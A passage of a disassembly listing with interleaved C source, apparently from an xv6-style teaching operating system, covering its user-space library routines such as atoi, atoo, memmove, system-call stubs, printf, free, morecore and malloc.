40c: 0f be c0 movsbl %al,%eax
40f: 01 c8 add %ecx,%eax
411: 83 e8 30 sub $0x30,%eax
414: 89 45 fc mov %eax,-0x4(%ebp)
n = 0;
while (*s == ' ') s++;
sign = (*s == '-') ? -1 : 1;
if (*s == '+' || *s == '-')
s++;
while('0' <= *s && *s <= '9')
417: 8b 45 08 mov 0x8(%ebp),%eax
41a: 0f b6 00 movzbl (%eax),%eax
41d: 3c 2f cmp $0x2f,%al
41f: 7e 0a jle 42b <atoi+0x89>
421: 8b 45 08 mov 0x8(%ebp),%eax
424: 0f b6 00 movzbl (%eax),%eax
427: 3c 39 cmp $0x39,%al
429: 7e c7 jle 3f2 <atoi+0x50>
n = n*10 + *s++ - '0';
return sign*n;
42b: 8b 45 f8 mov -0x8(%ebp),%eax
42e: 0f af 45 fc imul -0x4(%ebp),%eax
}
432: c9 leave
433: c3 ret
00000434 <atoo>:
int
atoo(const char *s)
{
434: 55 push %ebp
435: 89 e5 mov %esp,%ebp
437: 83 ec 10 sub $0x10,%esp
int n, sign;
n = 0;
43a: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while (*s == ' ') s++;
441: eb 04 jmp 447 <atoo+0x13>
443: 83 45 08 01 addl $0x1,0x8(%ebp)
447: 8b 45 08 mov 0x8(%ebp),%eax
44a: 0f b6 00 movzbl (%eax),%eax
44d: 3c 20 cmp $0x20,%al
44f: 74 f2 je 443 <atoo+0xf>
sign = (*s == '-') ? -1 : 1;
451: 8b 45 08 mov 0x8(%ebp),%eax
454: 0f b6 00 movzbl (%eax),%eax
457: 3c 2d cmp $0x2d,%al
459: 75 07 jne 462 <atoo+0x2e>
45b: b8 ff ff ff ff mov $0xffffffff,%eax
460: eb 05 jmp 467 <atoo+0x33>
462: b8 01 00 00 00 mov $0x1,%eax
467: 89 45 f8 mov %eax,-0x8(%ebp)
if (*s == '+' || *s == '-')
46a: 8b 45 08 mov 0x8(%ebp),%eax
46d: 0f b6 00 movzbl (%eax),%eax
470: 3c 2b cmp $0x2b,%al
472: 74 0a je 47e <atoo+0x4a>
474: 8b 45 08 mov 0x8(%ebp),%eax
477: 0f b6 00 movzbl (%eax),%eax
47a: 3c 2d cmp $0x2d,%al
47c: 75 27 jne 4a5 <atoo+0x71>
s++;
47e: 83 45 08 01 addl $0x1,0x8(%ebp)
while('0' <= *s && *s <= '7')
482: eb 21 jmp 4a5 <atoo+0x71>
n = n*8 + *s++ - '0';
484: 8b 45 fc mov -0x4(%ebp),%eax
487: 8d 0c c5 00 00 00 00 lea 0x0(,%eax,8),%ecx
48e: 8b 45 08 mov 0x8(%ebp),%eax
491: 8d 50 01 lea 0x1(%eax),%edx
494: 89 55 08 mov %edx,0x8(%ebp)
497: 0f b6 00 movzbl (%eax),%eax
49a: 0f be c0 movsbl %al,%eax
49d: 01 c8 add %ecx,%eax
49f: 83 e8 30 sub $0x30,%eax
4a2: 89 45 fc mov %eax,-0x4(%ebp)
n = 0;
while (*s == ' ') s++;
sign = (*s == '-') ? -1 : 1;
if (*s == '+' || *s == '-')
s++;
while('0' <= *s && *s <= '7')
4a5: 8b 45 08 mov 0x8(%ebp),%eax
4a8: 0f b6 00 movzbl (%eax),%eax
4ab: 3c 2f cmp $0x2f,%al
4ad: 7e 0a jle 4b9 <atoo+0x85>
4af: 8b 45 08 mov 0x8(%ebp),%eax
4b2: 0f b6 00 movzbl (%eax),%eax
4b5: 3c 37 cmp $0x37,%al
4b7: 7e cb jle 484 <atoo+0x50>
n = n*8 + *s++ - '0';
return sign*n;
4b9: 8b 45 f8 mov -0x8(%ebp),%eax
4bc: 0f af 45 fc imul -0x4(%ebp),%eax
}
4c0: c9 leave
4c1: c3 ret
000004c2 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
4c2: 55 push %ebp
4c3: 89 e5 mov %esp,%ebp
4c5: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
4c8: 8b 45 08 mov 0x8(%ebp),%eax
4cb: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
4ce: 8b 45 0c mov 0xc(%ebp),%eax
4d1: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
4d4: eb 17 jmp 4ed <memmove+0x2b>
*dst++ = *src++;
4d6: 8b 45 fc mov -0x4(%ebp),%eax
4d9: 8d 50 01 lea 0x1(%eax),%edx
4dc: 89 55 fc mov %edx,-0x4(%ebp)
4df: 8b 55 f8 mov -0x8(%ebp),%edx
4e2: 8d 4a 01 lea 0x1(%edx),%ecx
4e5: 89 4d f8 mov %ecx,-0x8(%ebp)
4e8: 0f b6 12 movzbl (%edx),%edx
4eb: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
4ed: 8b 45 10 mov 0x10(%ebp),%eax
4f0: 8d 50 ff lea -0x1(%eax),%edx
4f3: 89 55 10 mov %edx,0x10(%ebp)
4f6: 85 c0 test %eax,%eax
4f8: 7f dc jg 4d6 <memmove+0x14>
*dst++ = *src++;
return vdst;
4fa: 8b 45 08 mov 0x8(%ebp),%eax
}
4fd: c9 leave
4fe: c3 ret
000004ff <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
4ff: b8 01 00 00 00 mov $0x1,%eax
504: cd 40 int $0x40
506: c3 ret
00000507 <exit>:
SYSCALL(exit)
507: b8 02 00 00 00 mov $0x2,%eax
50c: cd 40 int $0x40
50e: c3 ret
0000050f <wait>:
SYSCALL(wait)
50f: b8 03 00 00 00 mov $0x3,%eax
514: cd 40 int $0x40
516: c3 ret
00000517 <pipe>:
SYSCALL(pipe)
517: b8 04 00 00 00 mov $0x4,%eax
51c: cd 40 int $0x40
51e: c3 ret
0000051f <read>:
SYSCALL(read)
51f: b8 05 00 00 00 mov $0x5,%eax
524: cd 40 int $0x40
526: c3 ret
00000527 <write>:
SYSCALL(write)
527: b8 10 00 00 00 mov $0x10,%eax
52c: cd 40 int $0x40
52e: c3 ret
0000052f <close>:
SYSCALL(close)
52f: b8 15 00 00 00 mov $0x15,%eax
534: cd 40 int $0x40
536: c3 ret
00000537 <kill>:
SYSCALL(kill)
537: b8 06 00 00 00 mov $0x6,%eax
53c: cd 40 int $0x40
53e: c3 ret
0000053f <exec>:
SYSCALL(exec)
53f: b8 07 00 00 00 mov $0x7,%eax
544: cd 40 int $0x40
546: c3 ret
00000547 <open>:
SYSCALL(open)
547: b8 0f 00 00 00 mov $0xf,%eax
54c: cd 40 int $0x40
54e: c3 ret
0000054f <mknod>:
SYSCALL(mknod)
54f: b8 11 00 00 00 mov $0x11,%eax
554: cd 40 int $0x40
556: c3 ret
00000557 <unlink>:
SYSCALL(unlink)
557: b8 12 00 00 00 mov $0x12,%eax
55c: cd 40 int $0x40
55e: c3 ret
0000055f <fstat>:
SYSCALL(fstat)
55f: b8 08 00 00 00 mov $0x8,%eax
564: cd 40 int $0x40
566: c3 ret
00000567 <link>:
SYSCALL(link)
567: b8 13 00 00 00 mov $0x13,%eax
56c: cd 40 int $0x40
56e: c3 ret
0000056f <mkdir>:
SYSCALL(mkdir)
56f: b8 14 00 00 00 mov $0x14,%eax
574: cd 40 int $0x40
576: c3 ret
00000577 <chdir>:
SYSCALL(chdir)
577: b8 09 00 00 00 mov $0x9,%eax
57c: cd 40 int $0x40
57e: c3 ret
0000057f <dup>:
SYSCALL(dup)
57f: b8 0a 00 00 00 mov $0xa,%eax
584: cd 40 int $0x40
586: c3 ret
00000587 <getpid>:
SYSCALL(getpid)
587: b8 0b 00 00 00 mov $0xb,%eax
58c: cd 40 int $0x40
58e: c3 ret
0000058f <sbrk>:
SYSCALL(sbrk)
58f: b8 0c 00 00 00 mov $0xc,%eax
594: cd 40 int $0x40
596: c3 ret
00000597 <sleep>:
SYSCALL(sleep)
597: b8 0d 00 00 00 mov $0xd,%eax
59c: cd 40 int $0x40
59e: c3 ret
0000059f <uptime>:
SYSCALL(uptime)
59f: b8 0e 00 00 00 mov $0xe,%eax
5a4: cd 40 int $0x40
5a6: c3 ret
000005a7 <halt>:
SYSCALL(halt)
5a7: b8 16 00 00 00 mov $0x16,%eax
5ac: cd 40 int $0x40
5ae: c3 ret
000005af <date>:
SYSCALL(date)
5af: b8 17 00 00 00 mov $0x17,%eax
5b4: cd 40 int $0x40
5b6: c3 ret
000005b7 <getuid>:
SYSCALL(getuid)
5b7: b8 18 00 00 00 mov $0x18,%eax
5bc: cd 40 int $0x40
5be: c3 ret
000005bf <getgid>:
SYSCALL(getgid)
5bf: b8 19 00 00 00 mov $0x19,%eax
5c4: cd 40 int $0x40
5c6: c3 ret
000005c7 <getppid>:
SYSCALL(getppid)
5c7: b8 1a 00 00 00 mov $0x1a,%eax
5cc: cd 40 int $0x40
5ce: c3 ret
000005cf <setuid>:
SYSCALL(setuid)
5cf: b8 1b 00 00 00 mov $0x1b,%eax
5d4: cd 40 int $0x40
5d6: c3 ret
000005d7 <setgid>:
SYSCALL(setgid)
5d7: b8 1c 00 00 00 mov $0x1c,%eax
5dc: cd 40 int $0x40
5de: c3 ret
000005df <getprocs>:
SYSCALL(getprocs)
5df: b8 1d 00 00 00 mov $0x1d,%eax
5e4: cd 40 int $0x40
5e6: c3 ret
000005e7 <setpriority>:
SYSCALL(setpriority)
5e7: b8 1e 00 00 00 mov $0x1e,%eax
5ec: cd 40 int $0x40
5ee: c3 ret
000005ef <chmod>:
SYSCALL(chmod)
5ef: b8 1f 00 00 00 mov $0x1f,%eax
5f4: cd 40 int $0x40
5f6: c3 ret
000005f7 <chown>:
SYSCALL(chown)
5f7: b8 20 00 00 00 mov $0x20,%eax
5fc: cd 40 int $0x40
5fe: c3 ret
000005ff <chgrp>:
SYSCALL(chgrp)
5ff: b8 21 00 00 00 mov $0x21,%eax
604: cd 40 int $0x40
606: c3 ret
00000607 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
607: 55 push %ebp
608: 89 e5 mov %esp,%ebp
60a: 83 ec 18 sub $0x18,%esp
60d: 8b 45 0c mov 0xc(%ebp),%eax
610: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
613: 83 ec 04 sub $0x4,%esp
616: 6a 01 push $0x1
618: 8d 45 f4 lea -0xc(%ebp),%eax
61b: 50 push %eax
61c: ff 75 08 pushl 0x8(%ebp)
61f: e8 03 ff ff ff call 527 <write>
624: 83 c4 10 add $0x10,%esp
}
627: 90 nop
628: c9 leave
629: c3 ret
0000062a <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
62a: 55 push %ebp
62b: 89 e5 mov %esp,%ebp
62d: 53 push %ebx
62e: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
631: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
638: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
63c: 74 17 je 655 <printint+0x2b>
63e: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
642: 79 11 jns 655 <printint+0x2b>
neg = 1;
644: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
64b: 8b 45 0c mov 0xc(%ebp),%eax
64e: f7 d8 neg %eax
650: 89 45 ec mov %eax,-0x14(%ebp)
653: eb 06 jmp 65b <printint+0x31>
} else {
x = xx;
655: 8b 45 0c mov 0xc(%ebp),%eax
658: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
65b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
662: 8b 4d f4 mov -0xc(%ebp),%ecx
665: 8d 41 01 lea 0x1(%ecx),%eax
668: 89 45 f4 mov %eax,-0xc(%ebp)
66b: 8b 5d 10 mov 0x10(%ebp),%ebx
66e: 8b 45 ec mov -0x14(%ebp),%eax
671: ba 00 00 00 00 mov $0x0,%edx
676: f7 f3 div %ebx
678: 89 d0 mov %edx,%eax
67a: 0f b6 80 30 0e 00 00 movzbl 0xe30(%eax),%eax
681: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
685: 8b 5d 10 mov 0x10(%ebp),%ebx
688: 8b 45 ec mov -0x14(%ebp),%eax
68b: ba 00 00 00 00 mov $0x0,%edx
690: f7 f3 div %ebx
692: 89 45 ec mov %eax,-0x14(%ebp)
695: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
699: 75 c7 jne 662 <printint+0x38>
if(neg)
69b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
69f: 74 2d je 6ce <printint+0xa4>
buf[i++] = '-';
6a1: 8b 45 f4 mov -0xc(%ebp),%eax
6a4: 8d 50 01 lea 0x1(%eax),%edx
6a7: 89 55 f4 mov %edx,-0xc(%ebp)
6aa: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
6af: eb 1d jmp 6ce <printint+0xa4>
putc(fd, buf[i]);
6b1: 8d 55 dc lea -0x24(%ebp),%edx
6b4: 8b 45 f4 mov -0xc(%ebp),%eax
6b7: 01 d0 add %edx,%eax
6b9: 0f b6 00 movzbl (%eax),%eax
6bc: 0f be c0 movsbl %al,%eax
6bf: 83 ec 08 sub $0x8,%esp
6c2: 50 push %eax
6c3: ff 75 08 pushl 0x8(%ebp)
6c6: e8 3c ff ff ff call 607 <putc>
6cb: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
6ce: 83 6d f4 01 subl $0x1,-0xc(%ebp)
6d2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6d6: 79 d9 jns 6b1 <printint+0x87>
putc(fd, buf[i]);
}
6d8: 90 nop
6d9: 8b 5d fc mov -0x4(%ebp),%ebx
6dc: c9 leave
6dd: c3 ret
000006de <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6de: 55 push %ebp
6df: 89 e5 mov %esp,%ebp
6e1: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
6e4: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
6eb: 8d 45 0c lea 0xc(%ebp),%eax
6ee: 83 c0 04 add $0x4,%eax
6f1: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
6f4: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
6fb: e9 59 01 00 00 jmp 859 <printf+0x17b>
c = fmt[i] & 0xff;
700: 8b 55 0c mov 0xc(%ebp),%edx
703: 8b 45 f0 mov -0x10(%ebp),%eax
706: 01 d0 add %edx,%eax
708: 0f b6 00 movzbl (%eax),%eax
70b: 0f be c0 movsbl %al,%eax
70e: 25 ff 00 00 00 and $0xff,%eax
713: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
716: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
71a: 75 2c jne 748 <printf+0x6a>
if(c == '%'){
71c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
720: 75 0c jne 72e <printf+0x50>
state = '%';
722: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
729: e9 27 01 00 00 jmp 855 <printf+0x177>
} else {
putc(fd, c);
72e: 8b 45 e4 mov -0x1c(%ebp),%eax
731: 0f be c0 movsbl %al,%eax
734: 83 ec 08 sub $0x8,%esp
737: 50 push %eax
738: ff 75 08 pushl 0x8(%ebp)
73b: e8 c7 fe ff ff call 607 <putc>
740: 83 c4 10 add $0x10,%esp
743: e9 0d 01 00 00 jmp 855 <printf+0x177>
}
} else if(state == '%'){
748: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
74c: 0f 85 03 01 00 00 jne 855 <printf+0x177>
if(c == 'd'){
752: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
756: 75 1e jne 776 <printf+0x98>
printint(fd, *ap, 10, 1);
758: 8b 45 e8 mov -0x18(%ebp),%eax
75b: 8b 00 mov (%eax),%eax
75d: 6a 01 push $0x1
75f: 6a 0a push $0xa
761: 50 push %eax
762: ff 75 08 pushl 0x8(%ebp)
765: e8 c0 fe ff ff call 62a <printint>
76a: 83 c4 10 add $0x10,%esp
ap++;
76d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
771: e9 d8 00 00 00 jmp 84e <printf+0x170>
} else if(c == 'x' || c == 'p'){
776: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
77a: 74 06 je 782 <printf+0xa4>
77c: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
780: 75 1e jne 7a0 <printf+0xc2>
printint(fd, *ap, 16, 0);
782: 8b 45 e8 mov -0x18(%ebp),%eax
785: 8b 00 mov (%eax),%eax
787: 6a 00 push $0x0
789: 6a 10 push $0x10
78b: 50 push %eax
78c: ff 75 08 pushl 0x8(%ebp)
78f: e8 96 fe ff ff call 62a <printint>
794: 83 c4 10 add $0x10,%esp
ap++;
797: 83 45 e8 04 addl $0x4,-0x18(%ebp)
79b: e9 ae 00 00 00 jmp 84e <printf+0x170>
} else if(c == 's'){
7a0: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
7a4: 75 43 jne 7e9 <printf+0x10b>
s = (char*)*ap;
7a6: 8b 45 e8 mov -0x18(%ebp),%eax
7a9: 8b 00 mov (%eax),%eax
7ab: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
7ae: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
7b2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
7b6: 75 25 jne 7dd <printf+0xff>
s = "(null)";
7b8: c7 45 f4 30 0b 00 00 movl $0xb30,-0xc(%ebp)
while(*s != 0){
7bf: eb 1c jmp 7dd <printf+0xff>
putc(fd, *s);
7c1: 8b 45 f4 mov -0xc(%ebp),%eax
7c4: 0f b6 00 movzbl (%eax),%eax
7c7: 0f be c0 movsbl %al,%eax
7ca: 83 ec 08 sub $0x8,%esp
7cd: 50 push %eax
7ce: ff 75 08 pushl 0x8(%ebp)
7d1: e8 31 fe ff ff call 607 <putc>
7d6: 83 c4 10 add $0x10,%esp
s++;
7d9: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
7dd: 8b 45 f4 mov -0xc(%ebp),%eax
7e0: 0f b6 00 movzbl (%eax),%eax
7e3: 84 c0 test %al,%al
7e5: 75 da jne 7c1 <printf+0xe3>
7e7: eb 65 jmp 84e <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
7e9: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
7ed: 75 1d jne 80c <printf+0x12e>
putc(fd, *ap);
7ef: 8b 45 e8 mov -0x18(%ebp),%eax
7f2: 8b 00 mov (%eax),%eax
7f4: 0f be c0 movsbl %al,%eax
7f7: 83 ec 08 sub $0x8,%esp
7fa: 50 push %eax
7fb: ff 75 08 pushl 0x8(%ebp)
7fe: e8 04 fe ff ff call 607 <putc>
803: 83 c4 10 add $0x10,%esp
ap++;
806: 83 45 e8 04 addl $0x4,-0x18(%ebp)
80a: eb 42 jmp 84e <printf+0x170>
} else if(c == '%'){
80c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
810: 75 17 jne 829 <printf+0x14b>
putc(fd, c);
812: 8b 45 e4 mov -0x1c(%ebp),%eax
815: 0f be c0 movsbl %al,%eax
818: 83 ec 08 sub $0x8,%esp
81b: 50 push %eax
81c: ff 75 08 pushl 0x8(%ebp)
81f: e8 e3 fd ff ff call 607 <putc>
824: 83 c4 10 add $0x10,%esp
827: eb 25 jmp 84e <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
829: 83 ec 08 sub $0x8,%esp
82c: 6a 25 push $0x25
82e: ff 75 08 pushl 0x8(%ebp)
831: e8 d1 fd ff ff call 607 <putc>
836: 83 c4 10 add $0x10,%esp
putc(fd, c);
839: 8b 45 e4 mov -0x1c(%ebp),%eax
83c: 0f be c0 movsbl %al,%eax
83f: 83 ec 08 sub $0x8,%esp
842: 50 push %eax
843: ff 75 08 pushl 0x8(%ebp)
846: e8 bc fd ff ff call 607 <putc>
84b: 83 c4 10 add $0x10,%esp
}
state = 0;
84e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
855: 83 45 f0 01 addl $0x1,-0x10(%ebp)
859: 8b 55 0c mov 0xc(%ebp),%edx
85c: 8b 45 f0 mov -0x10(%ebp),%eax
85f: 01 d0 add %edx,%eax
861: 0f b6 00 movzbl (%eax),%eax
864: 84 c0 test %al,%al
866: 0f 85 94 fe ff ff jne 700 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
86c: 90 nop
86d: c9 leave
86e: c3 ret
0000086f <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
86f: 55 push %ebp
870: 89 e5 mov %esp,%ebp
872: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
875: 8b 45 08 mov 0x8(%ebp),%eax
878: 83 e8 08 sub $0x8,%eax
87b: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
87e: a1 4c 0e 00 00 mov 0xe4c,%eax
883: 89 45 fc mov %eax,-0x4(%ebp)
886: eb 24 jmp 8ac <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
888: 8b 45 fc mov -0x4(%ebp),%eax
88b: 8b 00 mov (%eax),%eax
88d: 3b 45 fc cmp -0x4(%ebp),%eax
890: 77 12 ja 8a4 <free+0x35>
892: 8b 45 f8 mov -0x8(%ebp),%eax
895: 3b 45 fc cmp -0x4(%ebp),%eax
898: 77 24 ja 8be <free+0x4f>
89a: 8b 45 fc mov -0x4(%ebp),%eax
89d: 8b 00 mov (%eax),%eax
89f: 3b 45 f8 cmp -0x8(%ebp),%eax
8a2: 77 1a ja 8be <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8a4: 8b 45 fc mov -0x4(%ebp),%eax
8a7: 8b 00 mov (%eax),%eax
8a9: 89 45 fc mov %eax,-0x4(%ebp)
8ac: 8b 45 f8 mov -0x8(%ebp),%eax
8af: 3b 45 fc cmp -0x4(%ebp),%eax
8b2: 76 d4 jbe 888 <free+0x19>
8b4: 8b 45 fc mov -0x4(%ebp),%eax
8b7: 8b 00 mov (%eax),%eax
8b9: 3b 45 f8 cmp -0x8(%ebp),%eax
8bc: 76 ca jbe 888 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
8be: 8b 45 f8 mov -0x8(%ebp),%eax
8c1: 8b 40 04 mov 0x4(%eax),%eax
8c4: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
8cb: 8b 45 f8 mov -0x8(%ebp),%eax
8ce: 01 c2 add %eax,%edx
8d0: 8b 45 fc mov -0x4(%ebp),%eax
8d3: 8b 00 mov (%eax),%eax
8d5: 39 c2 cmp %eax,%edx
8d7: 75 24 jne 8fd <free+0x8e>
bp->s.size += p->s.ptr->s.size;
8d9: 8b 45 f8 mov -0x8(%ebp),%eax
8dc: 8b 50 04 mov 0x4(%eax),%edx
8df: 8b 45 fc mov -0x4(%ebp),%eax
8e2: 8b 00 mov (%eax),%eax
8e4: 8b 40 04 mov 0x4(%eax),%eax
8e7: 01 c2 add %eax,%edx
8e9: 8b 45 f8 mov -0x8(%ebp),%eax
8ec: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
8ef: 8b 45 fc mov -0x4(%ebp),%eax
8f2: 8b 00 mov (%eax),%eax
8f4: 8b 10 mov (%eax),%edx
8f6: 8b 45 f8 mov -0x8(%ebp),%eax
8f9: 89 10 mov %edx,(%eax)
8fb: eb 0a jmp 907 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
8fd: 8b 45 fc mov -0x4(%ebp),%eax
900: 8b 10 mov (%eax),%edx
902: 8b 45 f8 mov -0x8(%ebp),%eax
905: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
907: 8b 45 fc mov -0x4(%ebp),%eax
90a: 8b 40 04 mov 0x4(%eax),%eax
90d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
914: 8b 45 fc mov -0x4(%ebp),%eax
917: 01 d0 add %edx,%eax
919: 3b 45 f8 cmp -0x8(%ebp),%eax
91c: 75 20 jne 93e <free+0xcf>
p->s.size += bp->s.size;
91e: 8b 45 fc mov -0x4(%ebp),%eax
921: 8b 50 04 mov 0x4(%eax),%edx
924: 8b 45 f8 mov -0x8(%ebp),%eax
927: 8b 40 04 mov 0x4(%eax),%eax
92a: 01 c2 add %eax,%edx
92c: 8b 45 fc mov -0x4(%ebp),%eax
92f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
932: 8b 45 f8 mov -0x8(%ebp),%eax
935: 8b 10 mov (%eax),%edx
937: 8b 45 fc mov -0x4(%ebp),%eax
93a: 89 10 mov %edx,(%eax)
93c: eb 08 jmp 946 <free+0xd7>
} else
p->s.ptr = bp;
93e: 8b 45 fc mov -0x4(%ebp),%eax
941: 8b 55 f8 mov -0x8(%ebp),%edx
944: 89 10 mov %edx,(%eax)
freep = p;
946: 8b 45 fc mov -0x4(%ebp),%eax
949: a3 4c 0e 00 00 mov %eax,0xe4c
}
94e: 90 nop
94f: c9 leave
950: c3 ret
00000951 <morecore>:
static Header*
morecore(uint nu)
{
951: 55 push %ebp
952: 89 e5 mov %esp,%ebp
954: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
957: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
95e: 77 07 ja 967 <morecore+0x16>
nu = 4096;
960: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
967: 8b 45 08 mov 0x8(%ebp),%eax
96a: c1 e0 03 shl $0x3,%eax
96d: 83 ec 0c sub $0xc,%esp
970: 50 push %eax
971: e8 19 fc ff ff call 58f <sbrk>
976: 83 c4 10 add $0x10,%esp
979: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
97c: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
980: 75 07 jne 989 <morecore+0x38>
return 0;
982: b8 00 00 00 00 mov $0x0,%eax
987: eb 26 jmp 9af <morecore+0x5e>
hp = (Header*)p;
989: 8b 45 f4 mov -0xc(%ebp),%eax
98c: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
98f: 8b 45 f0 mov -0x10(%ebp),%eax
992: 8b 55 08 mov 0x8(%ebp),%edx
995: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
998: 8b 45 f0 mov -0x10(%ebp),%eax
99b: 83 c0 08 add $0x8,%eax
99e: 83 ec 0c sub $0xc,%esp
9a1: 50 push %eax
9a2: e8 c8 fe ff ff call 86f <free>
9a7: 83 c4 10 add $0x10,%esp
return freep;
9aa: a1 4c 0e 00 00 mov 0xe4c,%eax
}
9af: c9 leave
9b0: c3 ret
000009b1 <malloc>:
void*
malloc(uint nbytes)
{
9b1: 55 push %ebp
9b2: 89 e5 mov %esp,%ebp
9b4: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
9b7: 8b 45 08 mov 0x8(%ebp),%eax
9ba: 83 c0 07 add $0x7,%eax
9bd: c1 e8 03 shr $0x3,%eax
9c0: 83 c0 01 add $0x1,%eax
9c3: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
9c6: a1 4c 0e 00 00 mov 0xe4c,%eax
9cb: 89 45 f0 mov %eax,-0x10(%ebp)
9ce: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
9d2: 75 23 jne 9f7 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
9d4: c7 45 f0 44 0e 00 00 movl $0xe44,-0x10(%ebp)
9db: 8b 45 f0 mov -0x10(%ebp),%eax
9de: a3 4c 0e 00 00 mov %eax,0xe4c
9e3: a1 4c 0e 00 00 mov 0xe4c,%eax
9e8: a3 44 0e 00 00 mov %eax,0xe44
base.s.size = 0;
9ed: c7 05 48 0e 00 00 00 movl $0x0,0xe48
9f4: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
9f7: 8b 45 f0 mov -0x10(%ebp),%eax
9fa: 8b 00 mov (%eax),%eax
9fc: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
9ff: 8b 45 f4 mov -0xc(%ebp),%eax
a02: 8b 40 04 mov 0x4(%eax),%eax
a05: 3b 45 ec cmp -0x14(%ebp),%eax
a08: 72 4d jb a57 <malloc+0xa6>
if(p->s.size == nunits)
a0a: 8b 45 f4 mov -0xc(%ebp),%eax
a0d: 8b 40 04 mov 0x4(%eax),%eax
a10: 3b 45 ec cmp -0x14(%ebp),%eax
a13: 75 0c jne a21 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
a15: 8b 45 f4 mov -0xc(%ebp),%eax
a18: 8b 10 mov (%eax),%edx
a1a: 8b 45 f0 mov -0x10(%ebp),%eax
a1d: 89 10 mov %edx,(%eax)
